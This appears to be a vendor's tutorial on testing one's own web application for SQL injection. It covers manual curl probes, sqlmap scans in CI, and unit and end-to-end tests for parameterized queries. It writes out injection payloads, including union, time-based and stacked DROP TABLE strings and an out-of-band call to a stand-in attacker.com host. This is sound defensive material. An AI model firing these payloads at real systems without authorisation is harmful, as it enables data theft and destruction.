SQL Injection Testing: From Manual to Automated with sqlmap and HelpMeTest
SQL injection remains one of the most impactful web vulnerabilities — it appears in the OWASP Top 10 every year and leads directly to data breaches. Testing for it involves probing how your application handles malicious SQL in user-controlled inputs. This guide covers manual detection, sqlmap automation, and parameterized query validation you can run in CI.
Key Takeaways
Parameterized queries prevent SQLi — verify they're actually used. Code review alone misses dynamic queries built in helper functions. Test the endpoints.
Boolean-based blind SQLi is the most common variant today. Modern frameworks and ORMs reduce obvious error-based injection, but blind injection via response differences still appears.
sqlmap automates discovery, not exploitation. Run it against staging only. Production scans can corrupt data and lock accounts.
Test your error handling too. A 500 response with a stack trace leaks schema information even without successful injection.
Write parameterized query validation tests as unit tests. Faster feedback than end-to-end scans, and they run on every commit.
SQL Injection Fundamentals
SQL injection occurs when user-controlled input is concatenated into a SQL query without sanitization:
# VULNERABLE — string concatenation
def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
return db.execute(query)
# An attacker passes: username = "' OR '1'='1"
# Query becomes: SELECT * FROM users WHERE username = '' OR '1'='1'
# Returns all users# SAFE — parameterized query
def get_user(username):
query = "SELECT * FROM users WHERE username = %s"
return db.execute(query, (username,))SQL injection variants:
| Type | Detection method | Example |
|---|---|---|
| Error-based | Database error in response | ' causes syntax error |
| Boolean-based | Response changes for true/false conditions | ' AND 1=1 -- vs ' AND 1=2 -- |
| Time-based | Response time varies | '; SLEEP(5) -- |
| Union-based | Additional rows returned | ' UNION SELECT user,pass FROM admins -- |
| Out-of-band | DNS/HTTP callback | '; EXEC master..xp_dirtree('//attacker.com/a') -- |
Manual SQL Injection Testing
Error-Based Detection
Start with simple quote injection and observe the response:
# URL parameter
curl <span class="hljs-string">"https://staging.example.com/api/users?id=1'"
<span class="hljs-comment"># POST body
curl -X POST <span class="hljs-string">"https://staging.example.com/api/login" \
-H <span class="hljs-string">"Content-Type: application/json" \
-d <span class="hljs-string">'{"username": "admin'<span class="hljs-string">"'"<span class="hljs-string">'", "password": "test"}'Signs of vulnerability:
- HTTP 500 with a database error message
- Blank page where there was content
- Different response length compared to valid input
- Database type disclosed (MySQL error syntax, PostgreSQL error format)
Boolean-Based Detection
# Baseline — valid response
curl <span class="hljs-string">"https://staging.example.com/api/products?category=shoes"
<span class="hljs-comment"># True condition — should match baseline
curl <span class="hljs-string">"https://staging.example.com/api/products?category=shoes' AND '1'='1"
<span class="hljs-comment"># False condition — should return empty/different response
curl <span class="hljs-string">"https://staging.example.com/api/products?category=shoes' AND '1'='2"If the true condition response matches the baseline and the false condition differs — you have blind boolean-based injection.
Time-Based Detection
When responses look identical, use time delays to detect injection:
# MySQL time-based blind injection
curl -w <span class="hljs-string">"\nTime: %{time_total}\n" \
<span class="hljs-string">"https://staging.example.com/api/users?id=1; SELECT SLEEP(5)-- -"
<span class="hljs-comment"># PostgreSQL
curl -w <span class="hljs-string">"\nTime: %{time_total}\n" \
<span class="hljs-string">"https://staging.example.com/api/users?id=1; SELECT pg_sleep(5)-- -"
<span class="hljs-comment"># MSSQL
curl -w <span class="hljs-string">"\nTime: %{time_total}\n" \
<span class="hljs-string">"https://staging.example.com/api/users?id=1; WAITFOR DELAY '0:0:5'-- -"If the response consistently takes 5+ seconds, time-based injection is present.
Error Response Testing
Test that your application doesn't leak schema information through error responses:
import requests
def test_sql_error_not_exposed():
"""Verify database errors are not returned in HTTP responses."""
payloads = [
"1'", # basic quote
"1''", # double quote
"1 OR 1=1", # boolean injection
"1; DROP TABLE users--", # stacked query
]
for endpoint in ["/api/users", "/api/products", "/api/search"]:
for payload in payloads:
resp = requests.get(
f"https://staging.example.com{endpoint}",
params={"id": payload, "q": payload}
)
body = resp.text.lower()
# Database error indicators
error_patterns = [
"sql syntax", "syntax error", "mysql_fetch",
"pg::syntaxerror", "sqlexception", "ora-",
"microsoft sql", "unclosed quotation", "quoted string"
]
for pattern in error_patterns:
assert pattern not in body, \
f"VULNERABLE: DB error leaked in response for {endpoint}?{payload}: {pattern}"Automated Testing with sqlmap
sqlmap is the industry-standard tool for automated SQL injection discovery and exploitation. Use it only against staging/development environments — running sqlmap against production can corrupt data, lock accounts, and trigger alerts.
Installation
pip install sqlmap
# or
git <span class="hljs-built_in">clone https://github.com/sqlmapproject/sqlmap.gitBasic URL Scan
# Scan a URL parameter
python sqlmap.py -u <span class="hljs-string">"https://staging.example.com/api/users?id=1" \
--batch \
--level 2 \
--risk 1
<span class="hljs-comment"># Scan with authentication header
python sqlmap.py -u <span class="hljs-string">"https://staging.example.com/api/users?id=1" \
--batch \
-H <span class="hljs-string">"Authorization: Bearer ${TOKEN}" \
--level 2 \
--risk 1--batch runs non-interactively (required for CI). --level 1-5 controls the number of payloads tested. --risk 1-3 controls how aggressive the payloads are (higher risk = potentially destructive).
POST Request Scanning
# Scan a JSON POST endpoint
python sqlmap.py -u <span class="hljs-string">"https://staging.example.com/api/login" \
--data <span class="hljs-string">'{"username":"*","password":"test"}' \
--content-type <span class="hljs-string">"application/json" \
--batch \
--level 2CI Integration
# .github/workflows/sqli-scan.yml
name: SQL Injection Scan
on:
schedule:
- cron: '0 3 * * 1' # Weekly on Mondays at 3am
workflow_dispatch: # Manual trigger
jobs:
sqlmap-scan:
runs-on: ubuntu-latest
environment: staging
steps:
- uses: actions/checkout@v4
- name: Install sqlmap
run: pip install sqlmap
- name: Scan API endpoints
run: |
ENDPOINTS=(
"/api/users?id=1"
"/api/products?category=shoes&sort=name"
"/api/search?q=test"
)
for endpoint in "${ENDPOINTS[@]}"; do
echo "Scanning: $endpoint"
python -m sqlmap \
-u "https://staging.example.com${endpoint}" \
-H "Authorization: Bearer ${{ secrets.STAGING_API_TOKEN }}" \
--batch \
--level 2 \
--risk 1 \
--output-dir=sqlmap-output \
|| true # Don't fail on scan errors, only on findings
done
- name: Check for vulnerabilities
run: |
if grep -r "sqlmap identified" sqlmap-output/; then
echo "::error::SQL injection vulnerabilities found"
exit 1
fi
- name: Upload Results
uses: actions/upload-artifact@v4
if: always()
with:
name: sqlmap-results
path: sqlmap-output/sqlmap Flags for Safer Scanning
python sqlmap.py \
-u "https://staging.example.com/api/users?id=1" \
--batch \
--level 1 \ <span class="hljs-comment"># Minimal payloads (1-5)
--risk 1 \ <span class="hljs-comment"># Low risk payloads (1-3)
--technique=BEUST \ <span class="hljs-comment"># Boolean, Error, Union, Stacked, Time
--dbms=postgresql \ <span class="hljs-comment"># Target DBMS (avoids wrong-DB payloads)
--random-agent \ <span class="hljs-comment"># Randomize User-Agent
--delay=1 \ <span class="hljs-comment"># 1 second between requests (avoid rate limiting)
--<span class="hljs-built_in">timeout=30 <span class="hljs-comment"># Request timeoutUnit-Level Parameterized Query Testing
The fastest SQL injection tests run at the unit level — verifying that query builders use parameterized queries, not string concatenation.
Testing ORM Query Builders
# test_db_queries.py — verify parameterized queries are used
import pytest
from unittest.mock import patch, MagicMock
from myapp.users import get_user_by_id, search_users
def test_get_user_uses_parameterized_query():
"""Verify get_user_by_id uses parameterized queries, not string concatenation."""
with patch("myapp.users.db.execute") as mock_execute:
mock_execute.return_value = MagicMock(fetchone=lambda: None)
get_user_by_id("' OR '1'='1")
# Verify execute was called with a parameterized query
call_args = mock_execute.call_args
query = call_args[0][0]
params = call_args[0][1] if len(call_args[0]) > 1 else call_args[1].get("params")
# The malicious input must be in params, not in the query string
assert "OR" not in query, \
f"VULNERABLE: user input concatenated into query: {query}"
assert params is not None, \
"FAIL: no parameters passed to execute() — possible string concatenation"
def test_search_users_parameterized():
with patch("myapp.users.db.execute") as mock_execute:
mock_execute.return_value = MagicMock(fetchall=lambda: [])
search_users("'; DROP TABLE users--")
call_args = mock_execute.call_args
query = str(call_args[0][0])
assert "DROP" not in query, \
f"VULNERABLE: SQL keyword found in query string: {query}"Testing Raw SQL Safety
If your codebase uses raw SQL strings (legitimate in some cases), test them:
import re, ast, pathlib
def test_no_dynamic_sql_in_queries():
"""Scan source files for SQL string concatenation patterns."""
dangerous_patterns = [
r'execute\(f".*{', # f-string in execute()
r'execute\(".*"\s*\+', # string concat in execute()
r'execute\(.*\.format\(', # .format() in execute()
r'query\s*=\s*f"SELECT', # f-string SQL assignment
]
sql_files = list(pathlib.Path("myapp").rglob("*.py"))
violations = []
for file in sql_files:
content = file.read_text()
for pattern in dangerous_patterns:
if re.search(pattern, content):
violations.append(f"{file}: matches {pattern}")
assert not violations, \
f"Potentially unsafe SQL construction found:\n" + "\n".join(violations)Testing Stored Procedures and ORMs
Stored Procedures
Stored procedures are parameterized at the SQL level, but they can still be vulnerable if they build dynamic SQL internally:
# Test that stored procedure doesn't execute injected SQL
import pytest
def test_stored_procedure_safe():
"""Verify the search_products procedure handles injection safely."""
conn = get_test_db_connection()
cursor = conn.cursor()
# This should return 0 rows, not all products
cursor.execute("EXEC search_products @name = %s", ("'; SELECT * FROM users--",))
results = cursor.fetchall()
# Verify injection didn't leak data from other tables
for row in results:
# Product names shouldn't contain user data
assert "@" not in str(row), "Possible data leak via injection in stored proc"ORM Second-Order Injection
ORMs prevent direct injection but can't prevent second-order injection — where malicious data stored in the database is later used unsafely in a query:
def test_second_order_injection():
"""Test that stored user data can't trigger SQLi when used in subsequent queries."""
# Register a user with SQL injection in the username
resp = requests.post("https://staging.example.com/api/register", json={
"username": "admin'--",
"email": "attack@example.com",
"password": "StrongPassword123!"
})
# Registration might succeed
user_id = resp.json().get("id")
if user_id:
# Now trigger an action that uses the stored username in a query
resp2 = requests.get(
f"https://staging.example.com/api/users/{user_id}/profile"
)
# If this returns 200, verify the response is the correct user's data
if resp2.status_code == 200:
data = resp2.json()
assert data.get("email") == "attack@example.com", \
"Unexpected data returned — possible second-order injection"HelpMeTest Integration
Use HelpMeTest to run SQL injection smoke tests as part of your end-to-end test suite on every deployment:
*** Test Cases ***
SQL Injection in Search Returns Empty Results Not Error
Go To https://app.example.com/search
Input Text id=search-query ' OR '1'='1
Click Button id=search-btn
Page Should Contain No results found
Page Should Not Contain sql
Page Should Not Contain syntax error
Response Status Code Should Not Be 500
SQL Injection in Login Is Rejected
Go To https://app.example.com/login
Input Text id=email admin@example.com' OR '1'='1' --
Input Text id=password anything
Click Button id=login-btn
Page Should Not Contain Welcome
Page Should Contain Invalid credentials
Current URL Should Not Contain /dashboard
ID Parameter Accepts Only Integers
Go To https://app.example.com/products/1'
Response Status Code Should Be 400
Page Should Not Contain syntax errorThese tests run on every deployment, catching regressions in input handling immediately.
SQL Injection Prevention Checklist
Before marking any endpoint as tested:
□ Parameterized queries used for all DB interactions
□ ORM queries inspected for raw SQL fallbacks
□ User input never concatenated into SQL strings
□ Stored procedures reviewed for dynamic SQL
□ Error responses don't leak schema information
□ Database account uses least-privilege permissions
□ WAF rules in place for additional defense
□ sqlmap scan run against staging (no findings)
□ Automated regression tests in CI pipelineConclusion
SQL injection testing has two layers: verifying your defenses are correct (parameterized queries, ORM usage) and actively probing for gaps (sqlmap, manual payload testing). Both are necessary — code review catches obvious mistakes, but active scanning finds the edge cases that slip through.
Run parameterized query unit tests on every commit for fast feedback. Run sqlmap against staging weekly or before major releases. Add SQL injection smoke tests to your end-to-end suite for continuous production verification. Together, these layers give you confidence that your data is protected.